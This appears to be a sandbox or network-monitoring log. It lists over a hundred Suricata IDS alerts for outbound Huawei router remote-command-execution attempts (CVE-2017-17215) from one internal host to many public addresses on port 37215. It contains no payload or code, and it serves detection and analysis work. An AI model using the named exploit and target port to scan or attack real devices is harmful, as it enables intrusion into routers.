Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53652 -> 156.95.34.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43964 -> 41.74.164.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36872 -> 197.9.236.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41620 -> 156.249.168.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59540 -> 41.188.197.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41078 -> 197.38.231.199:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39874 -> 156.7.148.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35340 -> 156.244.154.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49096 -> 156.209.217.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37514 -> 156.247.235.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52184 -> 156.184.181.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53748 -> 197.195.57.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40788 -> 156.129.228.150:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41286 -> 197.36.89.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37548 -> 197.142.229.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56700 -> 156.21.249.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43348 -> 156.101.11.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58902 -> 197.39.32.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60702 -> 156.244.77.93:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46758 -> 156.131.101.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38694 -> 41.26.212.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44756 -> 156.207.249.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54742 -> 156.175.150.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39390 -> 41.34.96.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46600 -> 41.50.141.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49356 -> 41.117.136.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42628 -> 197.177.99.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49988 -> 156.130.26.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56470 -> 41.195.253.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56828 -> 197.240.32.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44952 -> 197.60.116.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58980 -> 197.124.218.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38412 -> 197.163.40.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39272 -> 197.61.151.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55486 -> 41.171.127.49:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55256 -> 197.210.230.82:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47588 -> 197.54.40.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33194 -> 197.129.120.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46304 -> 156.201.245.6:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34514 -> 156.192.234.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53042 -> 156.250.125.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55144 -> 197.9.255.10:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45980 -> 197.171.72.135:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36618 -> 156.220.73.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44970 -> 197.9.24.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37340 -> 41.245.134.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49140 -> 41.206.210.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34256 -> 156.251.134.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44114 -> 197.184.115.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44634 -> 197.8.182.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53724 -> 197.211.16.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42512 -> 197.7.157.123:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56432 -> 156.73.13.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35010 -> 197.9.234.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54126 -> 156.250.195.11:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49986 -> 41.44.230.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48428 -> 156.224.35.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60780 -> 156.254.188.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48852 -> 197.6.107.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43954 -> 156.225.70.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55260 -> 156.235.57.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42506 -> 156.73.148.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45056 -> 156.255.70.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33814 -> 41.174.45.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59390 -> 197.255.223.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51388 -> 41.100.232.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52204 -> 41.230.93.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50356 -> 197.43.82.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34922 -> 156.115.166.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49096 -> 41.225.75.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58040 -> 197.150.48.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47100 -> 156.0.232.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46266 -> 197.28.233.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36166 -> 197.79.108.138:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54522 -> 156.120.79.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37328 -> 41.90.16.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45528 -> 41.228.250.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60198 -> 197.213.129.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60468 -> 197.198.45.54:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42864 -> 41.141.245.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50230 -> 197.3.248.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47130 -> 41.150.250.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43280 -> 156.222.193.117:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50402 -> 156.4.47.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45638 -> 156.73.12.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60192 -> 156.220.33.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46578 -> 156.24.249.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50942 -> 197.93.214.96:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41748 -> 156.66.117.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53980 -> 156.243.189.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37536 -> 156.27.27.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35738 -> 197.224.155.135:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35072 -> 156.10.138.172:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55072 -> 41.169.142.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49692 -> 41.74.205.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52442 -> 41.247.241.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39888 -> 156.107.172.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58550 -> 41.85.61.39:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49010 -> 41.80.233.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42242 -> 156.218.41.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57376 -> 197.62.103.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44576 -> 156.208.82.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56480 -> 156.91.93.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46752 -> 41.190.172.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40894 -> 156.126.87.54:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44674 -> 197.248.84.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48962 -> 156.154.160.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42670 -> 41.239.215.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46184 -> 41.49.86.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44682 -> 41.190.138.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49334 -> 197.47.205.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49322 -> 156.35.239.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33994 -> 41.105.190.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51962 -> 197.145.123.247:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34788 -> 41.239.11.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40476 -> 156.162.4.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45138 -> 156.239.49.238:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52454 -> 197.243.215.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38134 -> 156.138.15.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51870 -> 41.245.163.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48404 -> 197.248.163.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36242 -> 156.191.178.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37976 -> 197.127.113.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45546 -> 197.10.122.150:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59916 -> 156.57.234.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36320 -> 41.12.207.118:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:47182 -> 197.76.50.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35958 -> 156.122.179.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49316 -> 156.145.136.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33168 -> 156.198.240.187:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54414 -> 41.161.13.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34954 -> 197.189.153.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44242 -> 41.229.176.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55820 -> 156.54.127.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54854 -> 197.90.239.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43902 -> 197.223.93.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:50944 -> 41.45.201.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49644 -> 156.6.167.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34894 -> 156.197.244.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39116 -> 156.57.20.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53742 -> 197.45.75.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53972 -> 156.85.24.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:32974 -> 156.46.141.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43958 -> 156.232.203.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46632 -> 197.119.104.157:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33746 -> 197.33.251.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44866 -> 41.175.28.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:41770 -> 41.191.100.80:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48804 -> 41.41.209.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57010 -> 197.31.42.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46050 -> 197.106.13.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48440 -> 197.177.210.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44076 -> 41.248.47.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55758 -> 41.148.153.144:37215
